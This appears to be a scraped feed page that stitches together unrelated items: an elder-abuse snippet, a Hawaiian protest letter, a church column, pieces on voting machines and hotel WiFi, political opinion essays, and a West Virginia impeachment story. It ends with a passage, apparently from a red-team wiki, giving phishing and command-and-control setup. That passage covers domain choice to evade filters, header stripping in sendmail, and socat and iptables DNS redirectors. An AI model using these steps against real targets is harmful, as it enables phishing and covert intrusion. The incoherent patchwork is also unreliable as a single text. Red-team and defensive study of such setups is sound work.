After recent studies conducted by the Centers for Disease Control and Prevention (CDC), medical experts found that elderly Americans are at an increased risk of depression when compared to other age demographics. For many older people, depression symptoms may be a sign of something more: elder abuse. According to the National Council on Aging (NCOA), roughly one in every ten Americans over the age of sixty have faced some form of elder abuse.  Elder abuse can range from physical harm, financial exploitation, or emotional abuse, to even sexual misconduct. If your elderly loved one lives in an assisted-living facility, they may be facing an increased risk of suffering nursing home abuse. Maintaining a strong relationship with your elderly loved one can help you identify common symptoms of elder abuse.  Preventing Elder Abuse For family members with elderly loved ones in assisted-living facilities, preventing elder abuse can sometimes be impossible. Still, there are a…
          elreydiablito: Aloha Poke Co, stop appropriating Native Hawaiian...      Cache   Translate Page   Web Page Cache   


elreydiablito:

Aloha Poke Co, stop appropriating Native Hawaiian culture!

“Aloha Poke Co is a Midwest based restaurant that has aggressively threatened Kanaka Maoli (Native Hawaiian) families with legal action for the use of the word “Aloha” in their business or social media. Not only are they capitalizing on an Indigenous traditional dish that they have no rights to, but they also have the gall to try and bar our own people from using a word in our language that has deep cultural meaning and symbolism. A language that up until 1987 was illegal in schools in Hawaii.

The root base of aloha are the words ALO and HA. Alo means presence, or as some kupuna have described it, recognition. HA means the breath of life. Therefore when we as Kanaka Maoli say “Aloha” we are recognizing being in the presence of another person’s breath of life. To threaten suit to Kanaka Maoli families who are simply trying to practice their generations old culture and feed the community? So that you can profit off of a culture and a people that are not yours to sell? That is what we call HEWA.

We as Kanaka Maoli also stand in solidarity with the Algonquin peoples who are the First Peoples of Chicago and were driven from the land by settlers. This is still pertinent because not only do the Algonquin people still live and struggle today, we know from the struggles of working class Chicago peoples that Aloha Poke Co is a part of a progressive wave of gentrification, commodification, and cultural appropriation that is criminalizing and driving out poor and people of color from the urban core.

We understand because half of our own people cannot afford to live in Hawaii due to the cost of living. We as Kanaka Maoli and all those who ally with us seek not only to be free from oppression, but to be free from the use of our culture in the oppression of others. As we struggle to cease the exploitation of our people, lands, culture and foods, so also do we refuse to have our language and culture participate in the gentrification of the homes of our allies abroad.

We call upon Aloha Poke Company, LLC to “cease and desist” from the use of the words “Aloha”, “Aloha Poke” and “Poke” from all current and future businesses. We understand that this will come at some cost to you, but we think that cost to a multi-million dollar company is comparable to the cost that you have asked these small families to suffer when you have demanded they remove theirs.

Mahalo nui loa, (not copywrited, still not yours to have)

The Kanaka Maoli peoples and ALL OUR relatives.“

          The Most Ridiculous Charismatic Doctrine We Ever Created      Cache   Translate Page   Web Page Cache   

My friend Charles wanted a mentor. He was eager to learn the ropes of ministry, so he asked an older pastor for training. The pastor agreed—but Charles soon realized the man wanted a valet, not an apprentice. Charles became the man's "armor bearer."

The man never took Charles on hospital visits, involved him in ministry assignments or prayed with him. Instead, Charles was expected to carry the guy's briefcase, fetch coffee and take suits to the cleaners—with no salary offered. In this case, "armor bearer" was a hyper-spiritualized term for "slave."

The bizarre armor-bearer trend became popular in churches more than 20 years ago, but unfortunately, it's still practiced in some circles. It appeals to insecure leaders who need an entourage to make them feel important.

Some pastors have even assigned trainees to serve as bodyguards—complete with dark glasses and concealed weapons. They are instructed to keep people away from the pastor so he doesn't have to talk to anyone after a church service (because the poor preacher might be "drained of his anointing" if he fraternizes with common folks).

Excuse me while I barf.

I'm not sure what is more nauseating: That some ministers think they are discipling young leaders by exploiting them, or that church members tolerate such pompous behavior from a so-called man of God. And we wonder why many young people have stopped going to church?

More than 10 years ago, I decided to focus most of my energy on mentoring the next generation. This became my priority because I met so many gifted men and women in their 20s and 30s who craved role models. Like Charles, they were looking for authentic examples, but they were often disappointed to find that many leaders don't have time for any personal investment.

If you want to make a genuine impact on younger Christians, please make sure you are not infected with the "armor bearer" virus. Take these steps to adjust your attitude:

Get over yourself. Today's insecure leaders don't realize it's the devil tempting them to become rock-star preachers. Fame is too alluring. Before they realize it, their heads have swelled to the size of Godzilla, and ministry has become a means to prove their imagined greatness. A leader with an inflated ego will have zero interest in investing in others. You must tell yourself daily: "It's not about me!"

Stay accessible. Young people today don't just want our sermons. They want to sit down for coffee after the sermon. They want to ask questions. They can listen to a hundred preachers on You Tube, but when you invite them to dinner, offer to pray with them or take them on a mission trip, you mark them forever.

Keep it real. Older Christian leaders have picked up some bad habits that turn off young people. Some ministers preach with affected voices, demand celebrity treatment or manipulate audiences in weird ways to pretend they have a powerful anointing. Please talk in a normal voice when you preach so young people won't dismiss you as a fake. Be transparent, admit your faults and let everyone know you've had struggles. Young people don't want to follow someone who pretends to be perfect.

Pour on the encouragement. Many young people today struggle to stay disciplined. Some have addictions. And many of them have immature attitudes. But you will never reach them if all you do is point out their faults. You have to win their hearts before you address problems. If you saturate them with the love of a caring father or mother, their spiritual growth will amaze you.

Don't cling to power. Elijah gave a double portion of his mantle to Elisha. Jesus was the Son of God, yet He willingly handed His authority over to His disciples and told them to finish the job. Paul handed his baton to Timothy when he finished his race. This is the biblical model for leadership—a humble willingness to be surpassed by the next generation.

Every good leader should already be thinking of his or her succession plan. If you have a tendency to control, dominate or manipulate people, you must wrestle with God until your ego is crushed. Let the Holy Spirit break you.

Young people today don't want to follow people who strut and swagger. They are looking for mentors who walk with the limp of humility. Don't let the armor-bearer mentality fill you with pride.

          That XKCD on voting machine software is wrong      Cache   Translate Page   Web Page Cache   
The latest XKCD comic on voting machine software is wrong, profoundly so. It's the sort of thing that appeals to our prejudices, but mistakes the details.


Accidents vs. attack

The biggest flaw is that the comic confuses accidents vs. intentional attack. Airplanes and elevators are designed to avoid accidental failures. If that's the measure, then voting machine software is fine and perfectly trustworthy. Such machines are no more likely to accidentally record a wrong vote than the paper voting systems they replaced -- indeed less likely. The reason we have electronic voting machines in the first place was due to the "hanging chad" problem in the Bush v. Gore election of the year 2000. After that election, a wave of new, software-based, voting machines replaced the older inaccurate paper machines.

The question is whether software voting machines can be attacked. Well, if that's the measure, then airplanes aren't safe at all. Security against human attack consists of the entire infrastructure outside the plane, such as TSA forcing us to take off our shoes, to trade restrictions to prevent the proliferation of Stinger missiles.

Confusing the two, accidents vs. attack, is used here because it makes the reader feel superior. We get to mock and feel superior to those stupid software engineers for not living up to what's essentially a fictional standard of reliability.

To repeat: software is better than the mechanical machines they replaced, which is why there are so many software-based machines in the United States. The issue isn't normal accuracy, but their robustness against a different standard, against attack -- a standard which airplanes and elevators suck at.

The problems are as much hardware as software

Last year at the DEF CON hacking conference they had an "Election Hacking Village" where they hacked a number of electronic voting machines. Most of those "hacks" were against the hardware, such as soldering on a JTAG device or accessing USB ports. Other errors have been voting machines being sold on eBay whose data wasn't wiped, allowing voter records to be recovered.

What we want to see is hardware designed more like an iPhone, where the FBI can't decrypt a phone even when they really really want to. This requires special chips, such as secure enclaves, signed boot loaders, and so on. Only once we get the hardware right can we complain about the software being deficient.

To be fair, software problems were also found at DEF CON, like an exploit over WiFi. Though, a lot of problems are questionable whether the fault lies in the software design or the hardware design, fixable in either one. The situation is better described as the entire design being flawed, from the "requirements",  to the high-level system "architecture", and lastly to the actual "software" code.

It's lack of accountability/fail-safes

We imagine the threat is that votes can be changed in the voting machine, but it's more profound than that. The problem is that votes can be changed invisibly. The first change experts want to see is adding a paper trail, rather than fixing bugs.

Consider "recounts". With many of today's electronic voting machines, this is meaningless, with nothing to recount. The machine produces a number, and we have nothing else to test against whether that number is correct or false. You can press a button and do an instant recount, but it won't tell you any other answer than the original one.

A paper trail changes this. After the software voting machine records the votes, it prints them to paper for the voter to check. This retains the features of better user-interface design than the horrible punch-hole machines of yore, and retains the feature of quick and cheap vote tabulation, so we know the results of the election quickly. But, if there's an irregularity, there exists an independent record that we can go back, with some labor, and verify.

It's like fail-systems in industrial systems, where we are less concerned about whether the normal systems have an error, but much more concerned about whether the fail-safe system works. It's like how famously Otis is not the inventor of elevators, but the inventor of elevator brakes that will safely stop the car from plummeting to your death if the cable snaps.

What's lacking in election machines therefore is not good or bad software engineering, but the failure of anybody to create fail-safes in the design, fail-safes that will work regardless of how the software works.

It's not just voting machines

It's actually really hard for the Russians to hack voting machines, as they have to be attacked them on a one-by-one basis. It's hard for a mass hack that affects them all.

It's much easier to target the back-end systems that tabulate the votes, which are more often normal computers connected to the Internet.

In addition, there are other ways that hackers can target elections. For example, the political divide in America between rural (Republican) and urban (Democrat) voters is well known. An attack against traffic lights, causing traffic jams, is enough to swing the vote slightly in the direction of rural voters. That makes a difference in places like last night's by-election in Ohio where a House candidate won by a mere 1,700 votes.

Voting machines are important, but there's way to much focus on them as if they are the only target to worry about.

Conclusion

The humor of this comic rests on smug superiority. But it's wrong. It's applying a standard (preventing accidents) against a completely different problem (stopping attackers) -- software voting machines are actually better against accidents than the paper machines they replace. It's ignoring the problems, which are often more system and hardware design than software. It ignores the solution, which isn't to fix software bugs, but to provide an independent, auditable paper trail.



          What the Caesars (@DefCon) WiFi situation looks like      Cache   Translate Page   Web Page Cache   
So I took a survey of WiFi at Caesar's Palace and thought I'd write up some results.


When we go to DEF CON in Vegas, hundreds of us bring our WiFi tools to look at the world. Actually, no special hardware is necessary, as modern laptops/phones have WiFi built-in, while the operating system (Windows, macOS, Linux) enables “monitor mode”. Software is widely available and free. We still love our specialized WiFi dongles and directional antennas, but they aren’t really needed anymore.

It’s also legal, as long as you are just grabbing header information and broadcasts. Which is about all that’s useful anymore as encryption has become the norm -- we can pretty much only see what we are allowed to see. The days of grabbing somebody’s session-cookie and hijacking their web email are long gone (though the was a fun period). There are still a few targets around if you want to WiFi hack, but most are gone.

So naturally I wanted to do a survey of what Caesar’s Palace has for WiFi during the DEF CON hacker conference located there.

Here is a list of access-points (on channel 1 only) sorted by popularity, the number of stations using them. These have mind-blowing high numbers in the ~3000 range for “CAESARS”. I think something is wrong with the data.



I click on the first one to drill down, and I find a source of the problem. I’m seeing only “Data Out” packets from these devices, not “Data In”.


These are almost entirely ARP packets from devices, associated with other access-points, not actually associated with this access-point. The hotel has bridged (via Ethernet) all the access-points together. We can see this in the raw ARP packets, such as the one shown below:

WiFi packets have three MAC addresses, the source and destination (as expected) and also the address of the access-point involved. The access point is the actual transmitter, but it's bridging the packet from some other location on the local Ethernet network.

Apparently, CAESARS dumps all the guests into the address range 10.10.x.x, all going out through the router 10.10.0.1. We can see this from the ARP traffic, as everyone seems to be ARPing that router.

I'm probably seeing all the devices on the CAESARS WiFi. In other words, if I sit next to another access-point, such as one on a different channel, I'm likely to see the same list. Each broadcast appears to be transmitted by all access-points, carried via the backend bridged Ethernet network.

The reason Caesars does it this way is so that you can roam, so that you can call somebody on  FaceTime and walk to the end of the Forum shops on back and not drop the phone call. At least in theory, I haven’t tested it to see if things actually work out this way. It’s the way massive complexes like Caesars ought to work, but which many fail at doing well. Like most "scale" problems, it sounds easy and straightforward until you encounter all the gotchas along the way.

Apple’s market share for these devices is huge, with roughly 2/3rds of all devices being Apple. Samsung has 10% Apple’s share. Here's a list of vendor IDs (the first 3 bytes of the MAC address) by popularity, that I'm seeing on that one access-point:

  •     2327 Apple
  •       257 Samsung
  •       166 Intel
  •       132 Murata
  •         55 Huawei
  •         29 LG
  •         27 HTC-phone
  •         23 Motorola
  •         21 Foxconn
  •         20 Microsoft
  •         17 Amazon
  •         16 Lite-On
  •         13 OnePlus
  •         12 Rivet Networks (Killer)
  •         11 (random)
  •         10 Sony Mobile
  •         10 Microsoft
  •           8 AsusTek
  •           7 Xiaomi
  •           7 Nintendo  

Apparently, 17 people can't bear to part with their Amazon Echo/Alexa devices during their trip to Vegas and brought the devices with them. Or maybe those are Kindle devices.

Remember that these are found by tracking the vendor ID from the hardware MAC addresses built into every phone/laptop/device. Historically, we could also track these MAC addresses via “probe” WiFi broadcasts from devices looking for access-points. As I’ve blogged before, modern iPhones and Androids randomize these addresses so we can no longer track the phones when they are just wandering around unconnected. Only once they connect do they use their real MAC addresses.

In the above sample, I’ve found ~1300 probers, ~90% of whose MAC addresses are randomized. As you can see, because of the way Caesars sets up their network, I can track MAC addresses better because of ARP broadcasts than I can with tracking WiFi probe broadcasts.

While mobile devices are the biggest source of MAC addresses, they also identify the fixed infrastructure. For example, some of the suites in Caesars have devices with a “Creston” MAC address. Somebody is releasing an exploit at BlackHat for Creston devices. There’s a patch available, but chances are good that hackers will start hacking these devices before Caesars gets around to patching them.

WPA-3 is promising to get rid of the open WiFi hotspots like CAESARS, but doing "optimistic encryption" by default. This is better, preventing me from even seeing the contents of ARP packets passively. However, as I understand the standard, it'll still allow me to collect the MAC addresses passively, as in this example.

Conclusion

This post doesn't contain any big hack. It's fascinating how big WiFi has become ,as everyone seems to be walking around with a WiFi device, and most are connecting to the hotel WiFi. Yet, with ubiquitous SSL and WPA encryption, there's much less opportunity for mischief, even though there's a lot more to see.

The biggest takeaway is that even from a single point on the big network on the CAESARS compound, I can get a record of some identifier that can in ideal circumstances be traced back to you. In theory, I could sit an airport, or drive around your neighborhood, an match up those records with these records. However, because of address randomization in probes, I can only do this is you've actually connected to the networks.

Finally, for me, the most interesting bit is to appreciate how the huge CAESARS networks actually works to drop everyone on the same WiFi connection.


          Let's Make Election Day "Buy Crypto Day"      Cache   Translate Page   Web Page Cache   

With the U.S. 2018 midterm election fast approaching, and another offering of the perennial choice between a giant douche bag and a crap sandwich to lie and lull the American populace into resigned complacency as the wantonly exploitative, corrupt military-monetary hegemony continues to steamroll over humanity– a bright and hopeful alternative emerges.

Advocates of a better, freer, more civilized world should rally together and place a vote of no confidence in the systemically corrupt political edifice by making every U.S. election day from this one on out Buy Crypto Day. Let the electorate speak as one withered, divided voice with its continued slide into historically abysmal voter turnout, and its increasingly cynical partisanship exemplified by the weary acceptance of increasingly more radical and contentious lessers of two evils. (It should not have to be pointed out that the lesser of two evils is still evil).

We who see a better way outside of the "Heads I win Tails you Lose" Catch-22 inherent in democratic participation, will speak with our own unified voice as it gathers strength to forge a new world order of truly and finally inviolable policies of truth and justice that hard code the principles of equality into an impregnable machine of monetary equality that transcends borders and eschews centralized, untrustable authorities.

What if every U.S. election day from here on out, the crypto market surged as a vote of no confidence in politics?

          Brandon Smith: The Strengths And Weaknesses Of Leftists Vs Conservatives      Cache   Translate Page   Web Page Cache   

Authored by Brandon Smith via Alt-Market.com,

Before I jump into this subject matter, I should probably address a common misconception among people who are new to liberty movement activism. The first time people hear about the concept of the “false left/right paradigm,” they wrongly assume that this means there is “no left or right ideology,” that it is all fabricated to divide the masses. This is a misconception.

When we speak of the false left/right paradigm in the liberty movement, we are usually referring to the elitists at the top of the political and financial pyramid. These people do NOT have any loyalty to any one political party, nor do they hold to the beliefs of one side or the other. They are happy, though, to exploit leftists or conservatives by targeting their weaknesses.  They do this in order to create a social outcome that elevates the elitist’s own goals, but that is all. Meaning, these people are globalists and have their own agenda separate from the political left or right, but will pretend to stand on one side or the other in order to control the narrative. Hence, the “falseness” of their particular left/right theater.

The common citizen, however, does indeed tend to legitimately rest his or her ideals on a spectrum from left to right, from progressive to conservative. And lately, the separation between these two sides has been growing ever wider.

To be clear, it is not playing into the hands of the globalists to point out the differences in the two sides.  The two sides are concrete, they are a natural extension of human though processes, and they would exist even if the globalists did not exist.  The globalists did not create left vs right philosophical differences, this is giving them too much credit.  They only seek to take advantage of divisions in thought that already exist.

Where things go horribly wrong is when one side or the other is pushed artificially towards zealotry. This is where the globalists create chaos, by influencing the left or the right into subverting their own principles and abandoning diplomacy in the name of destroying the other side.  This is when disagreements become war and the political process becomes a blood feud.  Globalists sometimes attempt to conjure such violent conditions when they want to wipe the slate clean and introduce a new social system. Generally, their goal is even more centralization and control.

Over the years I have been critical of BOTH sides of the political spectrum, and sometimes even more critical of liberty activists when I see the movement being led astray by disinformation. The reality is that both leftists and conservatives sense severe imbalances in the way our society and our government functions. Where we differ greatly is in how each side places blame for our problems and how they plan to solve those imbalances.

In order to understand why the left and the right are so close to open war, we have to step outside the political bubble and look at our differences in a more objective way. First, let’s start with an examination of the leftist mindset...

How Leftists View The World

The key to understanding leftists resides in their inclination toward collectivism as a means of protection and power. To put it more bluntly, leftists love and embrace the mob mentality.

This is why the political left seems to organize so much more effectively than conservatives in many cases. While conservatives engage in internal debates with each other over principles and practical solutions, leftists are far more single-minded in their pursuit of social influence. They seem to gravitate to each other like ants around a sugar cube, and in this they can be effective in removing obstacles and gaining political territory. This could be considered a strength, but it can also act as a weakness.

The leftists ideal is one in which all people are in general agreement — they think all people are tied together in a great social chain, that every individual action has consequences for everyone else in that chain and, therefore, all individual actions no matter how small should be regulated in order to avoid one person adding to a potential disaster for the rest of humanity.  True individualism is seen as "selfish" and disruptive to the survival prospects of the group.

Thus, the notion of “society” becomes a control mechanism used by leftists. “We are all part of this society, whether we like it or not.” They often say, “People have to accept the rules for the greater good of the greater number.”

When we look at this objectively, this is clearly a brand of totalitarianism posing as humanitarian rationality. Who decides what is the “greater good?” Well, our inherent conscience does that, but conscience is an individual trait. When mobs get together and engage in mob thinking, conscience tends to go out the window.

For example, it is impossible to institute such a thing as “social justice;” arbitrarily homogenizing an entire group based on their skin color, sexual orientation, financial status, etc. and then deciding how they should be rewarded (or punished) erases the individual accomplishments and crimes of the people within that group you just arbitrarily created.

It is true that some behaviors tend to be cultural, and in that case, the most we can do morally is point out those behaviors and applaud or criticize. In the case of globalists, you have an actual example of organized criminality within a definable group of people. This can indeed be judged on a broad scale but still must be punished based on individual actions.

We can judge an individual for his behavior predicated on evidence, but no one on Earth is devoid of bias, and no one on Earth has the omnipotent wisdom required to dole out punishment or prizes to an entire subculture of people en masse.

Those leftists with good intentions desire a world without suffering. This is perhaps a noble thing. Unfortunately, that world does not exist and never will. There will always be inequality of outcome because not all people are equal in ability or willpower. I realize that leftists have been brainwashed into thinking that all people are equally capable, if not completely the same in every imaginable way. But, believing this does not make it fact.

The best we can hope for is the freedom to pursue prosperity as individuals, but in their pursuit of total equality, leftists are encouraging the erasure of individual freedom and opportunity. They believe that what is best for the individual is for him to sacrifice his individualism for the sake of the mob made up of the lowest common denominator. When one understands that the mob is morally relative, that it has no soul or conscience, this suggestion sounds like madness. And frankly, it is madness.

Needless to say, the collectivist thinking of leftists makes them easy prey for sociopathic global elites.  However, to be fair, conservatives are also targeted for manipulation exactly because they present the most viable threat to the success of globalism as construct.

How Conservatives View The World

While the political left is essentially going off the deep end into the errors of zealotry, conservatives are also not immune to ideological blindness. It is no secret that I view the conservative position as far superior to that of the left — I will summarize the strengths of this position as briefly as possible so that we can get to the more important issue of weaknesses.

The left sees the world as a complex Gordian Knot that must be chopped in half and meticulously untangled until all is made equal. Conservatives see society’s problems as much simpler - Each individual’s problems are his own. Each individual must work hard to elevate himself and to solve his problems without taking from other people in the process. Each person is an island, and while we might ally with each other at times, we are not permanently tied to each other in some kind of endless symbiotic relationship. As the Non-Aggression Principle outlines, you leave me alone, and I’ll leave you alone, and as long as no one is attempting to steal from others, enslave others or murder others I will remain quiet and peaceful.

The conservative dynamic goes wrong, though, when conservatives abandon their foundational principles for the sake of winning a fight against an imminent threat.

As leftists worship the mob and government power, conservatives tend to worship heroes, some of them false prophets. Conservatives are always desperately searching for the man on the white horse to lead them to the promise land. They are always looking for another messiah.  And in this they make themselves weak.

What they should be emulating are their principles and heritage alone. Only principles and truths matter, because they are eternal.  They do not corrupt like people can.  But let the right showman or mascot come along reciting the correct rhetoric in a rousing way, and many conservatives become putty in the hands of the political elites.

I believe this is owed to the problem of organization that conservatives suffer from. Individualists do not always agree on everything and normally abhor group think. The political right grows frustrated at how easy it is for leftists to congeal into an effective mob, and the tyranny of the majority is horrifying to the average conservative. So, in response conservatives seek out unifying leaders, people that appear to hold the same values and who conservatives can pour all their hopes and dreams for the future into. When this happens, group think can and does spread like a cancer through the political right.

When conservatives hyper-focus on leadership, they unwittingly centralize and become easily controlled. Globalists can either co-opt the leader or they can destroy the leader and thus the hopes of all the people that were invested in him. They can use the leader as a placebo, making conservatives sit idle waiting around for things to change when they should be taking action themselves.  And, globalists can also tie all the perceived or real blunders of that leader around the necks of his political base; meaning, conservatives can be conned into rallying around a false prophet and then when he falls from grace, all conservative thought falls from grace as well.

When conservatives bottleneck all their efforts and energy into a single leader, they set themselves up for failure. Organization does not need to be pursued from the top down. It can be built from the ground up in a decentralized way. When conservatives ignore their own principles and start centralizing, some very ugly things can happen. Zealotry is not only a vice of leftists. I remember the insanity of the Iraq War, for example, and in that event I saw self-proclaimed conservatives acting like the very mob they used to despise. This happened because they were frightened by what they perceived as an imminent threat and sought out leadership in all the wrong places instead of thinking critically.

The two sides of the political spectrum are a fact of life (unless of course the globalists get their way and replace everything with their own brand of moral relativism). One side is often used against the other to illicit a self-destructive response. Understanding where each side is coming from helps us to remain vigilant and to avoid exploitation by the powers that be.

          West Virginia Lawmakers Move to Impeach Every Single Justice on State Supreme Court      Cache   Translate Page   Web Page Cache   
All four of the sitting justices are accused of corruptly spending state money and resources on themselves.

On Tuesday night, the West Virginia House of Delegates Judiciary Committee took a stunningly drastic measure. Lawmakers on the committee approved articles of impeachment against every single sitting justice on the state Supreme Court of Appeals.

In total, there are 14 articles of impeachment: two against Justice Beth Walker, four each against Chief Justice Margaret Workman and Justice Robin Davis, and eight against Justice Allen Loughry. The charges, according to the Charleston Gazette-Mail, include "maladministration, corruption, incompetency, neglect of duty and certain high crimes."

The charges stem from a series of allegations that the justices have abused their power to spend state taxpayer funds lavishly on themselves. Alone among states, West Virginia's Supreme Court has total power to set its own budget, a power the justices allegedly exploited with total abandon.

The justices apparently spent hundreds of thousands of dollars on office furniture and luxury renovations. The total tab for Davis's office renovations was over $500,000, with $28,000 alone being spent on rugs.

Loughry, in particular, is further accused of improperly using state vehicles for personal travel to American University and the Pound Civil Justice Institute, then turning around and seeking travel reimbursement from those institutions even though he already put the costs on state accounts. He is also accused of moving priceless, historic state office furniture to his home for personal use, and enlisting a state-contracted moving company to do it. Perhaps most amazingly, he even improperly billed the state for a book-signing tour of his nonfiction book about political corruption in West Virginia.

In addition to facing impeachment, Loughry is currently suspended without pay from the bench and faces over a dozen federal charges of fraud, witness tampering, and lying to investigators, according to the Gazette-Mail.

West Virginia's high court has five seats, one of which was already vacated by the resignation of Justice Menis Ketchum, who was also implicated in the scandal. Davis and Workman are Democrats, Loughry is a Republican, and Walker is Republican-leaning but officially nonpartisan, as the first justice to be elected following the legislature's abolition of partisan judicial races in 2015.

If every justice is successfully removed from office, GOP Gov. Jim Justice will have the authority to appoint an entire new interim bench from candidates approved by the state Judicial Vacancy Advisory Commission.

Functional Segregation

When designing a red team infrastructure that needs to stand up to an active response or last for a long-term engagement (weeks, months, years), it’s important to segregate each asset based on function. This provides resilience and agility against the Blue Team when campaign assets start getting detected. For example, if an assessment’s phishing email is identified, the Red Team would only need to create a new SMTP server and payload hosting server, rather than a whole team server setup.

Consider segregating these functions on different assets:

  • Phishing SMTP
  • Phishing payloads
  • Long-term command and control (C2)
  • Short-term C2

Each of these functions will likely be required for each social engineering campaign. Since active incident response is typical in a Red Team assessment, a new set of infrastructure should be implemented for each campaign.

Using Redirectors

To further resilience and concealment, every back-end asset (i.e. team server) should have a redirector placed in front of it. The goal is to always have a host between our target and our backend servers. Setting up the infrastructure in this manner makes rolling fresh infrastructure much quicker and easier - no need to stand up a new team server, migrate sessions, and reconnect non-burned assets on the backend.

Common redirector types:

  • SMTP
  • Payloads
  • Web Traffic
  • C2 (HTTP(S), DNS, etc)

Each redirector type has multiple implementation options that best fit different scenarios. These options are discussed in further detail in the Redirectors section of the wiki. Redirectors can be VPS hosts, dedicated servers, or even apps running on a Platform-as-a-Service instance.

Sample Design

Here is a sample design, keeping functional segregation and redirector usage in mind:

Further Resources

Perceived domain reputation will vary greatly depending on the products your target is using, as well as their configuration. As such, choosing a domain that will work on your target is not an exact science. Open source intelligence gathering (OSINT) will be critical in helping make a best guess at the state of controls and which resources to check domains against. Luckily, online advertisers face the same problems and have created some solutions we can leverage.

expireddomains.net is a search engine for recently expired or dropped domains. It provides search and advanced filtering, such as age of expiration, number of backlinks, number of Archive.org snapshots, SimilarWeb score. Using the site, we can register pre-used domains, which will come with domain age, that look similar to our target, look similar to our impersonation, or simply are likely to blend in on our target’s network.

expireddomains.net

When choosing a domain for C2 or data exfiltration, consider choosing a domain categorized as Finance or Healthcare. Many organizations will not perform SSL middling on those categories due to the possibility of legal or data sensitivity issues. It is also important to ensure your chosen domain is not associated with any previous malware or phishing campaigns.

The tool CatMyFish by Charles Hamilton(@MrUn1k0d3r) automates searches and web categorization checking with expireddomains.net and BlueCoat. It can be modified to apply more filters to searches or even perform long term monitoring of assets you register.

Another tool, DomainHunter by Joe Vest (@joevest) & Andrew Chiles (@andrewchiles), returns BlueCoat/WebPulse, IBM X-Force, and Cisco Talos categorization, domain age, alternate available TLDs, Archive.org links, and an HTML report. Additionally, it performs checks for use in known malware and phishing campaigns using Malwaredomains.com and MXToolBox. This tool also includes OCR support for bypassing the BlueCoat/WebPulse captchas. Check out the blog post about the tool's initial release for more details.

Yet another tool, AIRMASTER by Max Harley (@Max_68) uses expireddomains.net and Bluecoat to find categorized domains. This tool uses OCR to bypass the BlueCoat captcha, increasing the search speed.

If a previously-registered domain isn't available or you would prefer a self-registered domain, it's possible to categorize domains yourself. Using the direct links below or a tool like Chameleon by Dominic Chell (@domchell). Most categorization products will overlook redirects or cloned content when determining the domain's categorization. For more information about Chameleon usage, check out Dominic's post Categorisation is not a security boundary.

Finally, make sure your DNS settings have propogated correctly.

Easy Web-Based Phishing

The words easy and phishing never really seem to go together. Setting up a proper phishing infrastructure can be a real pain. The following tutorial will provide you with the knowledge and tools to quickly setup a phishing server that passes "most" spam filters to-date and provides you with a RoundCube interface for an easy phishing experience including two-way communications with your target. There are many setup's and posts out there regarding phishing. This is just one method.

Once you have a domain that passes the proper checks listed in the previous section and have your phishing server spun-up, you'll need to create a couple "A" records for your domain as pictured.

DNS Setup

Next, ssh into your phishing server and make sure you have a proper FQDN hostname listed in your /etc/hosts. Example "127.0.0.1 email.yourphishingserver.com email localhost"

Now, you're going to install the web front-end to phish from in just a few easy steps. Start by downloading the latest "BETA" version of iRedMail onto your phishing server. Easy way is to right click the download button, copy the link address, use wget to download directly onto your phishing server. Next, untar it "tar -xvf iRedMail-0.9.8-beta2.tar.bz2". Navigate into the unpacked folder and make the iRedMail.sh script executable (chmod +x iRedMail.sh). Execute the script as root, follow the prompts, and you'll need to reboot to finish everything.

You'll want to make sure you have all the proper DNS records ponting to your mail server. (https://docs.iredmail.org/setup.dns.html). For DKIM, the new command should be "amavisd-new showkeys" to list your DKIM key.

For DMARC we can use (https://www.unlocktheinbox.com/dmarcwizard/) to generate our dmarc entry.

Cobalt Strike Phishing

Cobalt Strike provides customizable spearphishing functionality to support pentest or red team email phishing. It supports templates in HTML and/or plaintext formats, attachments, a bounceback address, URL embedding, remote SMTP server usage, and per-message send delays. Another interesting feature is the ability to add a unique token to each user's embedded URL for click tracking.

Phishing Frameworks

Beyond rolling your own phishing setup or using a pentest or red teaming fraework, like Cobalt Strike, there are numerous tools and frameworks dedicated to email phishing. While this wiki won't go into detail about each framework, a few resources for each are collected below:

Gophish

Phishing Frenzy

The Social-Engineer Toolkit

FiercePhish (formerly FirePhish)

SMTP

“Redirector” may not be the best word to describe what we’re going to accomplish, but the goal is the same as with our other redirection. We want to remove any traces of our phishing origination from the final email headers and provide a buffer between the victim and our backend server. Ideally, the SMTP redirector will be quick to setup and easy to decommission.

There are two key actions we want to configure an SMTP redirector to perform:

Sendmail

Remove previous server headers

Add the following line to the end of /etc/mail/sendmail.mc:

define(`confRECEIVED_HEADER',`by $j ($v/$Z)$?r with $r$. id $i; $b')dnl

Add to the end of /etc/mail/access:

IP-to-Team-Server *TAB* RELAY
Phish-Domain *TAB* RELAY

Removing Sender’s IP Address From Email’s Received From Header

Removing Headers from Postfix setup

Configure a catch-all address

This will relay any email received to *@phishdomain.com to a chosen email address. This is highly useful to receive any responses or bounce-backs to a phishing email.

echo PHISH-DOMAIN >> /etc/mail/local-host-names

Add the following line right before //Mailer Definitions// (towards the end) of /etc/mail/sendmail.mc:

FEATURE(`virtusertable', `hash -o /etc/mail/virtusertable.db')dnl

Add the following line to the end of /etc/mail/virtusertable:

@phishdomain.com  external-relay-address

Note: The two fields should be tab-separated

Postfix

Postfix provides an easier alternative to sendmail with wider compatiblity. Postfix also offers full IMAP support with Dovecot. This allows testers to correspond in real-time with phishing targets who respond to the original message, rather than relying on the catch-all address and having to create a new message using your phishing tool.

A full guide to setting up a Postfix mail server for phishing is available in Julian Catrambone's (@n0pe_sled) post Mail Servers Made Easy.

DNS

Sample DNS Redirector Setup

Note: When using C2 redirectors, a foreign listener should be configured on your post-exploitation framework to send staging traffic through the redirector domain. This will cause the compromised host to stage through the redirector like the C2 traffic itself.

socat for DNS

socat can be used to redirect incoming DNS packets on port 53 to our team server. While this method works, some user’s have reported staging issues with Cobalt Strike and or latency issues using this method. Edit 4/21/2017: The following socat command seems to work well thanks to testing from @xorrior:

socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:<IPADDRESS>; echo -ne

Redirecting Cobalt Strike DNS Beacons - Steve Borosh

iptables for DNS

iptables DNS forwarding rules have been found to work well with Cobalt Strike. There does not seem to be any of the issues that socat has handling this type of traffic.

An example DNS redirector rule-set is below.

iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination <IP-GOES-HERE>:53
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

Also, change "FORWARD" chain policy to "ACCEPT"

DNS redirection can also be done behind NAT

Some may have the requirement or need to host a c2 server on an internal network. Using a combination of IPTABLES, SOCAT, and reverse ssh tunnels, we can certainly achieve this in the following manner.

Sample DNS NAT Setup

